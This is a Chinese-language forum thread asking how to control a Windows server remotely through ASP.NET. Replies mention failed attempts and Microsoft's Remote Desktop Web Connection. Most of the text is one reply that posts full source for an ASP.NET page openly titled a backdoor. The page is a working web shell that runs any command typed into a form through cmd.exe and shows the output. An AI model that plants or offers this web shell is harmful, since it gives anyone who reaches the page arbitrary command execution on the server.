只要有足够的权限,可以对服务器端执行任何WinForm可以执行的操作,但如果要进行远程控制,就需要在asp.net程序中调用服务器端的非托管API或COM组件,这个实现起来比较麻烦。

解决方案 »

  1.   

    很难,我尝试,服务器上调PING都不行
      

  2.   

    只是要远程控制一台计算机的话,可以用微软的Web控件:"远程桌面 Web 连接"
    http://www.microsoft.com/downloads/details.aspx?FamilyID=e2ff8fb5-97ff-47bc-bacc-92283b52b310&displaylang=zh-cn
      

  3.   

    肯定可以的。。VB.net可以做到。。C#也可以吧?这个是VB.net的。。
    <%@ Page Language="VB" Debug="true" Trace="false"%>
    <%@ import Namespace="System.IO" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <script runat="server" Language="vb">
        sub sendcmd(sender As Object, e As System.EventArgs)
             dim cmd1
             cmd1=cmdline.text
                  response.write (cmd1)
                  response.write ("<pre>")
                  Response.Write(Server.HtmlEncode(ExeCmd(cmd1)))
                  response.write ("</pre>")
        end sub    function execmd(cmd1)
        Dim startInfo As New ProcessStartInfo()
        dim cmdout as new process()
        dim outstr as streamreader
        dim s as string
        startinfo.filename="cmd.exe"    
        startinfo.Arguments = "/c "+cmd1
        startinfo.RedirectStandardOutput = true   '打开重定向也就相当于执行了cmd.exe /c ???>>>>
        startinfo.UseShellExecute = false         '这个值必须为false,不然要出错
        cmdout=Process.Start(startInfo)
        
        cmdout.WaitForExit(5000)                   '设置进程执行超时
        if cmdout.HasExited =false
           Response.Write("KILL cmd.exe process!</p>")
           cmdout.Kill()
           else
           Response.Write("Command is completed!</p>")
        end if
        
        outstr = cmdout.StandardOutput
        s = outstr.ReadToEnd()
        cmdout.Close()
        execmd=s
        end function
    </script>
    <html>
    <head>
    <title>CZY's AsP.NeT BACKDOOR,Wel&copy;ome to BbS.NsFoCuS.NeT</title>
    </head>
    <body>
        <form method="post" runat="server">
            <asp:TextBox id="cmdline" runat="server" size="80"></asp:TextBox>
            <asp:Button id="Button1" onclick="sendcmd" runat="server" Text="Send"></asp:Button>
        </form>
    </body>
    </html>